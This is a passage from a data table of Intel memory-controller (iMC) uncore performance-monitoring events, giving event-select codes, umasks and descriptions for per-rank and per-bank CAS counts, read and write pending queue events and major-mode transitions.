"Umask": "b00000010",
},
"iMC.RD_CAS_RANK4.BANK4": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 4",
"EvSel": 180,
"ExtSel": "",
"Umask": "b00000100",
},
"iMC.RD_CAS_RANK4.BANK3": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 4",
"EvSel": 180,
"ExtSel": "",
"Umask": "b00000011",
},
"iMC.RD_CAS_RANK4.BANK9": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 4",
"EvSel": 180,
"ExtSel": "",
"Umask": "b00001001",
},
"iMC.RD_CAS_RANK4.BANK8": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 4",
"EvSel": 180,
"ExtSel": "",
"Umask": "b00001000",
},
"iMC.RD_CAS_RANK4.BANKG0": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 4",
"EvSel": 180,
"ExtSel": "",
"Umask": "b00010001",
},
"iMC.RD_CAS_RANK4.BANK10": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 4",
"EvSel": 180,
"ExtSel": "",
"Umask": "b00001010",
},
"iMC.RD_CAS_RANK4.BANK1": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 4",
"EvSel": 180,
"ExtSel": "",
"Umask": "b00000001",
},
"iMC.RD_CAS_RANK4.BANK7": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 4",
"EvSel": 180,
"ExtSel": "",
"Umask": "b00000111",
},
"iMC.RD_CAS_RANK4.BANK6": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 4",
"EvSel": 180,
"ExtSel": "",
"Umask": "b00000110",
},
"iMC.RD_CAS_RANK4.BANKG3": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 4",
"EvSel": 180,
"ExtSel": "",
"Umask": "b00010100",
},
"iMC.RD_CAS_RANK4.BANK15": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 4",
"EvSel": 180,
"ExtSel": "",
"Umask": "b00001111",
},
"iMC.RD_CAS_RANK4.BANK11": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 4",
"EvSel": 180,
"ExtSel": "",
"Umask": "b00001011",
},
"iMC.RD_CAS_RANK4.BANKG1": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 4",
"EvSel": 180,
"ExtSel": "",
"Umask": "b00010010",
},
"iMC.RD_CAS_RANK4.BANK12": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 4",
"EvSel": 180,
"ExtSel": "",
"Umask": "b00001100",
},
"iMC.RD_CAS_RANK5": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 5",
"EvSel": 181,
"ExtSel": "",
},
"iMC.RD_CAS_RANK5.BANK6": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 5",
"EvSel": 181,
"ExtSel": "",
"Umask": "b00000110",
},
"iMC.RD_CAS_RANK5.BANKG3": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 5",
"EvSel": 181,
"ExtSel": "",
"Umask": "b00010100",
},
"iMC.RD_CAS_RANK5.BANK15": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 5",
"EvSel": 181,
"ExtSel": "",
"Umask": "b00001111",
},
"iMC.RD_CAS_RANK5.BANK7": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 5",
"EvSel": 181,
"ExtSel": "",
"Umask": "b00000111",
},
"iMC.RD_CAS_RANK5.BANK12": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 5",
"EvSel": 181,
"ExtSel": "",
"Umask": "b00001100",
},
"iMC.RD_CAS_RANK5.BANK11": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 5",
"EvSel": 181,
"ExtSel": "",
"Umask": "b00001011",
},
"iMC.RD_CAS_RANK5.BANKG1": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 5",
"EvSel": 181,
"ExtSel": "",
"Umask": "b00010010",
},
"iMC.RD_CAS_RANK5.BANK9": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 5",
"EvSel": 181,
"ExtSel": "",
"Umask": "b00001001",
},
"iMC.RD_CAS_RANK5.BANK8": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 5",
"EvSel": 181,
"ExtSel": "",
"Umask": "b00001000",
},
"iMC.RD_CAS_RANK5.BANK3": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 5",
"EvSel": 181,
"ExtSel": "",
"Umask": "b00000011",
},
"iMC.RD_CAS_RANK5.BANK4": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 5",
"EvSel": 181,
"ExtSel": "",
"Umask": "b00000100",
},
"iMC.RD_CAS_RANK5.BANK10": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 5",
"EvSel": 181,
"ExtSel": "",
"Umask": "b00001010",
},
"iMC.RD_CAS_RANK5.BANK1": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 5",
"EvSel": 181,
"ExtSel": "",
"Umask": "b00000001",
},
"iMC.RD_CAS_RANK5.BANKG0": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 5",
"EvSel": 181,
"ExtSel": "",
"Umask": "b00010001",
},
"iMC.RD_CAS_RANK5.BANK2": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 5",
"EvSel": 181,
"ExtSel": "",
"Umask": "b00000010",
},
"iMC.RD_CAS_RANK5.BANK14": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 5",
"EvSel": 181,
"ExtSel": "",
"Umask": "b00001110",
},
"iMC.RD_CAS_RANK5.BANK0": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 5",
"EvSel": 181,
"ExtSel": "",
"Umask": "b00000000",
},
"iMC.RD_CAS_RANK5.BANKG2": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 5",
"EvSel": 181,
"ExtSel": "",
"Umask": "b00010011",
},
"iMC.RD_CAS_RANK5.BANK13": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 5",
"EvSel": 181,
"ExtSel": "",
"Umask": "b00001101",
},
"iMC.RD_CAS_RANK5.BANK5": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 5",
"EvSel": 181,
"ExtSel": "",
"Umask": "b00000101",
},
"iMC.RD_CAS_RANK5.ALLBANKS": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 5",
"EvSel": 181,
"ExtSel": "",
"Umask": "b00010000",
},
"iMC.RD_CAS_RANK6": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 6",
"EvSel": 182,
"ExtSel": "",
},
"iMC.RD_CAS_RANK6.BANKG0": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 6",
"EvSel": 182,
"ExtSel": "",
"Umask": "b00010001",
},
"iMC.RD_CAS_RANK6.BANK1": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 6",
"EvSel": 182,
"ExtSel": "",
"Umask": "b00000001",
},
"iMC.RD_CAS_RANK6.BANK10": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 6",
"EvSel": 182,
"ExtSel": "",
"Umask": "b00001010",
},
"iMC.RD_CAS_RANK6.BANK3": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 6",
"EvSel": 182,
"ExtSel": "",
"Umask": "b00000011",
},
"iMC.RD_CAS_RANK6.BANK4": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 6",
"EvSel": 182,
"ExtSel": "",
"Umask": "b00000100",
},
"iMC.RD_CAS_RANK6.BANK8": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 6",
"EvSel": 182,
"ExtSel": "",
"Umask": "b00001000",
},
"iMC.RD_CAS_RANK6.BANK9": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 6",
"EvSel": 182,
"ExtSel": "",
"Umask": "b00001001",
},
"iMC.RD_CAS_RANK6.BANKG1": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 6",
"EvSel": 182,
"ExtSel": "",
"Umask": "b00010010",
},
"iMC.RD_CAS_RANK6.BANK11": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 6",
"EvSel": 182,
"ExtSel": "",
"Umask": "b00001011",
},
"iMC.RD_CAS_RANK6.BANK12": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 6",
"EvSel": 182,
"ExtSel": "",
"Umask": "b00001100",
},
"iMC.RD_CAS_RANK6.BANK7": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 6",
"EvSel": 182,
"ExtSel": "",
"Umask": "b00000111",
},
"iMC.RD_CAS_RANK6.BANKG3": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 6",
"EvSel": 182,
"ExtSel": "",
"Umask": "b00010100",
},
"iMC.RD_CAS_RANK6.BANK15": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 6",
"EvSel": 182,
"ExtSel": "",
"Umask": "b00001111",
},
"iMC.RD_CAS_RANK6.BANK6": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 6",
"EvSel": 182,
"ExtSel": "",
"Umask": "b00000110",
},
"iMC.RD_CAS_RANK6.ALLBANKS": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 6",
"EvSel": 182,
"ExtSel": "",
"Umask": "b00010000",
},
"iMC.RD_CAS_RANK6.BANKG2": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 6",
"EvSel": 182,
"ExtSel": "",
"Umask": "b00010011",
},
"iMC.RD_CAS_RANK6.BANK13": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 6",
"EvSel": 182,
"ExtSel": "",
"Umask": "b00001101",
},
"iMC.RD_CAS_RANK6.BANK5": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 6",
"EvSel": 182,
"ExtSel": "",
"Umask": "b00000101",
},
"iMC.RD_CAS_RANK6.BANK0": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 6",
"EvSel": 182,
"ExtSel": "",
"Umask": "b00000000",
},
"iMC.RD_CAS_RANK6.BANK14": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 6",
"EvSel": 182,
"ExtSel": "",
"Umask": "b00001110",
},
"iMC.RD_CAS_RANK6.BANK2": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 6",
"EvSel": 182,
"ExtSel": "",
"Umask": "b00000010",
},
"iMC.RD_CAS_RANK7": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 7",
"EvSel": 183,
"ExtSel": "",
},
"iMC.RD_CAS_RANK7.BANK6": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 7",
"EvSel": 183,
"ExtSel": "",
"Umask": "b00000110",
},
"iMC.RD_CAS_RANK7.BANKG3": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 7",
"EvSel": 183,
"ExtSel": "",
"Umask": "b00010100",
},
"iMC.RD_CAS_RANK7.BANK15": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 7",
"EvSel": 183,
"ExtSel": "",
"Umask": "b00001111",
},
"iMC.RD_CAS_RANK7.BANK7": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 7",
"EvSel": 183,
"ExtSel": "",
"Umask": "b00000111",
},
"iMC.RD_CAS_RANK7.BANK12": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 7",
"EvSel": 183,
"ExtSel": "",
"Umask": "b00001100",
},
"iMC.RD_CAS_RANK7.BANK11": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 7",
"EvSel": 183,
"ExtSel": "",
"Umask": "b00001011",
},
"iMC.RD_CAS_RANK7.BANKG1": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 7",
"EvSel": 183,
"ExtSel": "",
"Umask": "b00010010",
},
"iMC.RD_CAS_RANK7.BANK9": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 7",
"EvSel": 183,
"ExtSel": "",
"Umask": "b00001001",
},
"iMC.RD_CAS_RANK7.BANK8": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 7",
"EvSel": 183,
"ExtSel": "",
"Umask": "b00001000",
},
"iMC.RD_CAS_RANK7.BANK4": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 7",
"EvSel": 183,
"ExtSel": "",
"Umask": "b00000100",
},
"iMC.RD_CAS_RANK7.BANK3": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 7",
"EvSel": 183,
"ExtSel": "",
"Umask": "b00000011",
},
"iMC.RD_CAS_RANK7.BANK10": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 7",
"EvSel": 183,
"ExtSel": "",
"Umask": "b00001010",
},
"iMC.RD_CAS_RANK7.BANK1": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 7",
"EvSel": 183,
"ExtSel": "",
"Umask": "b00000001",
},
"iMC.RD_CAS_RANK7.BANKG0": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 7",
"EvSel": 183,
"ExtSel": "",
"Umask": "b00010001",
},
"iMC.RD_CAS_RANK7.BANK2": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 7",
"EvSel": 183,
"ExtSel": "",
"Umask": "b00000010",
},
"iMC.RD_CAS_RANK7.BANK14": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 7",
"EvSel": 183,
"ExtSel": "",
"Umask": "b00001110",
},
"iMC.RD_CAS_RANK7.BANK0": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 7",
"EvSel": 183,
"ExtSel": "",
"Umask": "b00000000",
},
"iMC.RD_CAS_RANK7.BANK13": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 7",
"EvSel": 183,
"ExtSel": "",
"Umask": "b00001101",
},
"iMC.RD_CAS_RANK7.BANKG2": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 7",
"EvSel": 183,
"ExtSel": "",
"Umask": "b00010011",
},
"iMC.RD_CAS_RANK7.BANK5": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 7",
"EvSel": 183,
"ExtSel": "",
"Umask": "b00000101",
},
"iMC.RD_CAS_RANK7.ALLBANKS": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 7",
"EvSel": 183,
"ExtSel": "",
"Umask": "b00010000",
},
"iMC.RPQ_CYCLES_NE": {
"Box": "iMC",
"Category": "iMC RPQ Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the Read Pending Queue is not empty. This can then be used to calculate the average occupancy (in conjunction with the Read Pending Queue Occupancy count). The RPQ is used to schedule reads out to the memory controller and to track the requests. Requests allocate into the RPQ soon after they enter the memory controller, and need credits for an entry in this buffer before being sent from the HA to the iMC. They deallocate after the CAS command has been issued to memory. This filter is to be used in conjunction with the occupancy filter so that one can correctly track the average occupancies for schedulable entries and scheduled requests.",
"Desc": "Read Pending Queue Not Empty",
"EvSel": 17,
"ExtSel": "",
},
"iMC.RPQ_INSERTS": {
"Box": "iMC",
"Category": "iMC RPQ Events",
"Counters": "0-3",
"Defn": "Counts the number of allocations into the Read Pending Queue. This queue is used to schedule reads out to the memory controller and to track the requests. Requests allocate into the RPQ soon after they enter the memory controller, and need credits for an entry in this buffer before being sent from the HA to the iMC. They deallocate after the CAS command has been issued to memory. This includes both ISOCH and non-ISOCH requests.",
"Desc": "Read Pending Queue Allocations",
"EvSel": 16,
"ExtSel": "",
},
"iMC.VMSE_MXB_WR_OCCUPANCY": {
"Box": "iMC",
"Category": "iMC VMSE Events",
"Counters": "0-3",
"Desc": "VMSE MXB write buffer occupancy",
"EvSel": 145,
"ExtSel": "",
"MaxIncCyc": 32,
"SubCtr": 1,
},
"iMC.VMSE_WR_PUSH": {
"Box": "iMC",
"Category": "iMC VMSE Events",
"Counters": "0-3",
"Desc": "VMSE WR PUSH issued",
"EvSel": 144,
"ExtSel": "",
},
"iMC.VMSE_WR_PUSH.WMM": {
"Box": "iMC",
"Category": "iMC VMSE Events",
"Counters": "0-3",
"Desc": "VMSE WR PUSH issued",
"EvSel": 144,
"ExtSel": "",
"Umask": "bxxxxxxx1",
},
"iMC.VMSE_WR_PUSH.RMM": {
"Box": "iMC",
"Category": "iMC VMSE Events",
"Counters": "0-3",
"Desc": "VMSE WR PUSH issued",
"EvSel": 144,
"ExtSel": "",
"Umask": "bxxxxxx1x",
},
"iMC.WMM_TO_RMM": {
"Box": "iMC",
"Category": "iMC MAJOR_MODES Events",
"Counters": "0-3",
"Desc": "Transition from WMM to RMM because of low threshold",
"EvSel": 192,
"ExtSel": "",
},
"iMC.WMM_TO_RMM.LOW_THRESH": {
"Box": "iMC",
"Category": "iMC MAJOR_MODES Events",
"Counters": "0-3",
"Desc": "Transition from WMM to RMM because of low threshold",
"EvSel": 192,
"ExtSel": "",
"Umask": "bxxxxxxx1",
},
"iMC.WMM_TO_RMM.VMSE_RETRY": {
"Box": "iMC",
"Category": "iMC MAJOR_MODES Events",
"Counters": "0-3",
"Desc": "Transition from WMM to RMM because of low threshold",
"EvSel": 192,
"ExtSel": "",
"Umask": "bxxxxx1xx",
},
"iMC.WMM_TO_RMM.STARVE": {
"Box": "iMC",
"Category": "iMC MAJOR_MODES Events",
"Counters": "0-3",
"Desc": "Transition from WMM to RMM because of low threshold",
"EvSel": 192,
"ExtSel": "",
"Umask": "bxxxxxx1x",
},
"iMC.WPQ_CYCLES_FULL": {
"Box": "iMC",
"Category": "iMC WPQ Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles when the Write Pending Queue is full. When the WPQ is full, the HA will not be able to issue any additional read requests into the iMC. This count should be similar count in the HA which tracks the number of cycles that the HA has no WPQ credits, just somewhat smaller to account for the credit return overhead.",
"Desc": "Write Pending Queue Full Cycles",
"EvSel": 34,
"ExtSel": "",
},
"iMC.WPQ_CYCLES_NE": {
"Box": "iMC",
"Category": "iMC WPQ Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the Write Pending Queue is not empty. This can then be used to calculate the average queue occupancy (in conjunction with the WPQ Occupancy Accumulation count). The WPQ is used to schedule write out to the memory controller and to track the writes. Requests allocate into the WPQ soon after they enter the memory controller, and need credits for an entry in this buffer before being sent from the HA to the iMC. They deallocate after being issued to DRAM. Write requests themselves are able to complete (from the perspective of the rest of the system) as soon they have \"posted\" to the iMC. This is not to be confused with actually performing the write to DRAM. Therefore, the average latency for this queue is actually not useful for deconstruction intermediate write latencies.",
"Desc": "Write Pending Queue Not Empty",
"EvSel": 33,
"ExtSel": "",
},
"iMC.WPQ_READ_HIT": {
"Box": "iMC",
"Category": "iMC WPQ Events",
"Counters": "0-3",
"Defn": "Counts the number of times a request hits in the WPQ (write-pending queue). The iMC allows writes and reads to pass up other writes to different addresses. Before a read or a write is issued, it will first CAM the WPQ to see if there is a write pending to that address. When reads hit, they are able to directly pull their data from the WPQ instead of going to memory. Writes that hit will overwrite the existing data. Partial writes that hit will not need to do underfill reads and will simply update their relevant sections.",
"Desc": "Write Pending Queue CAM Match",
"EvSel": 35,
"ExtSel": "",
},
"iMC.WPQ_WRITE_HIT": {
"Box": "iMC",
"Category": "iMC WPQ Events",
"Counters": "0-3",
"Defn": "Counts the number of times a request hits in the WPQ (write-pending queue). The iMC allows writes and reads to pass up other writes to different addresses. Before a read or a write is issued, it will first CAM the WPQ to see if there is a write pending to that address. When reads hit, they are able to directly pull their data from the WPQ instead of going to memory. Writes that hit will overwrite the existing data. Partial writes that hit will not need to do underfill reads and will simply update their relevant sections.",
"Desc": "Write Pending Queue CAM Match",
"EvSel": 36,
"ExtSel": "",
},
"iMC.WRONG_MM": {
"Box": "iMC",
"Category": "iMC MAJOR_MODES Events",
"Counters": "0-3",
"Desc": "Not getting the requested Major Mode",
"EvSel": 193,
"ExtSel": "",
},
"iMC.WR_CAS_RANK0": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 0",
"EvSel": 184,
"ExtSel": "",
},
"iMC.WR_CAS_RANK0.BANK1": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 0",
"EvSel": 184,
"ExtSel": "",
"Umask": "b00000001",
},
"iMC.WR_CAS_RANK0.BANK10": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 0",
"EvSel": 184,
"ExtSel": "",
"Umask": "b00001010",
},
"iMC.WR_CAS_RANK0.BANKG0": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 0",
"EvSel": 184,
"ExtSel": "",
"Umask": "b00010001",
},
"iMC.WR_CAS_RANK0.BANK9": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 0",
"EvSel": 184,
"ExtSel": "",
"Umask": "b00001001",
},
"iMC.WR_CAS_RANK0.BANK8": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 0",
"EvSel": 184,
"ExtSel": "",
"Umask": "b00001000",
},
"iMC.WR_CAS_RANK0.BANK4": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 0",
"EvSel": 184,
"ExtSel": "",
"Umask": "b00000100",
},
"iMC.WR_CAS_RANK0.BANK3": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 0",
"EvSel": 184,
"ExtSel": "",
"Umask": "b00000011",
},
"iMC.WR_CAS_RANK0.BANK12": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 0",
"EvSel": 184,
"ExtSel": "",
"Umask": "b00001100",
},
"iMC.WR_CAS_RANK0.BANKG1": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 0",
"EvSel": 184,
"ExtSel": "",
"Umask": "b00010010",
},
"iMC.WR_CAS_RANK0.BANK11": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 0",
"EvSel": 184,
"ExtSel": "",
"Umask": "b00001011",
},
"iMC.WR_CAS_RANK0.BANKG3": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 0",
"EvSel": 184,
"ExtSel": "",
"Umask": "b00010100",
},
"iMC.WR_CAS_RANK0.BANK15": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 0",
"EvSel": 184,
"ExtSel": "",
"Umask": "b00001111",
},
"iMC.WR_CAS_RANK0.BANK6": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 0",
"EvSel": 184,
"ExtSel": "",
"Umask": "b00000110",
},
"iMC.WR_CAS_RANK0.BANK7": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 0",
"EvSel": 184,
"ExtSel": "",
"Umask": "b00000111",
},
"iMC.WR_CAS_RANK0.BANK13": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 0",
"EvSel": 184,
"ExtSel": "",
"Umask": "b00001101",
},
"iMC.WR_CAS_RANK0.BANKG2": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 0",
"EvSel": 184,
"ExtSel": "",
"Umask": "b00010011",
},
"iMC.WR_CAS_RANK0.BANK5": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 0",
"EvSel": 184,
"ExtSel": "",
"Umask": "b00000101",
},
"iMC.WR_CAS_RANK0.ALLBANKS": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 0",
"EvSel": 184,
"ExtSel": "",
"Umask": "b00010000",
},
"iMC.WR_CAS_RANK0.BANK14": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 0",
"EvSel": 184,
"ExtSel": "",
"Umask": "b00001110",
},
"iMC.WR_CAS_RANK0.BANK0": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 0",
"EvSel": 184,
"ExtSel": "",
"Umask": "b00000000",
},
"iMC.WR_CAS_RANK0.BANK2": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 0",
"EvSel": 184,
"ExtSel": "",
"Umask": "b00000010",
},
"iMC.WR_CAS_RANK1": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 1",
"EvSel": 185,
"ExtSel": "",
},
"iMC.WR_CAS_RANK1.BANK2": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 1",
"EvSel": 185,
"ExtSel": "",
"Umask": "b00000010",
},
"iMC.WR_CAS_RANK1.BANK0": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 1",
"EvSel": 185,
"ExtSel": "",
"Umask": "b00000000",
},
"iMC.WR_CAS_RANK1.BANK14": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 1",
"EvSel": 185,
"ExtSel": "",
